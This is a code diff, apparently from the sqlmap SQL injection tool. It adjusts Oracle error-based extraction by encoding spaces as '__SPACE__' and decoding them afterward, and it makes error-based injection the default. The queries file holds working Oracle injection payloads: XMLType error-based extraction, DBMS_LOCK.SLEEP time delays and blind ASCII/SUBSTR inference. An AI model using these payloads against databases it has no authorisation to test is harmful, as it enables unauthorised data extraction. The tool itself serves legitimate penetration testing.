diff --git a/lib/request/inject.py b/lib/request/inject.py
index 48305e703..f9ae05658 100644
--- a/lib/request/inject.py
+++ b/lib/request/inject.py
@@ -358,11 +358,13 @@ def __goError(expression, resumeValue=True):
 
     if match:
         output = match.group('result')
+        if kb.dbms == "Oracle" and output:
+            output = output.replace("__SPACE__", " ")
 
     return output
 
 
-def getValue(expression, blind=True, inband=True, error=False, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
+def getValue(expression, blind=True, inband=True, error=True, fromUser=False, expected=None, batch=False, unpack=True, sort=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=False):
     """
     Called each time sqlmap inject a SQL query on the SQL injection
     affected parameter. It can call a function to retrieve the output
diff --git a/xml/queries.xml b/xml/queries.xml
index 5abdeb8f2..e3b41ecb2 100644
--- a/xml/queries.xml
+++ b/xml/queries.xml
@@ -91,7 +91,8 @@
         <timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
         <substring query="SUBSTR((%s), %d, %d)"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
-        <error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>
+        <!--<error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(%s)||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>-->
+        <error query="AND 1=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(REPLACE((%s),CHR(32),'__SPACE__'))||CHR(62))) FROM DUAL)" regex="Warning: invalid QName.*::(?P&lt;result&gt;.+?)&amp;quot;"/>
         <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT USER FROM DUAL"/>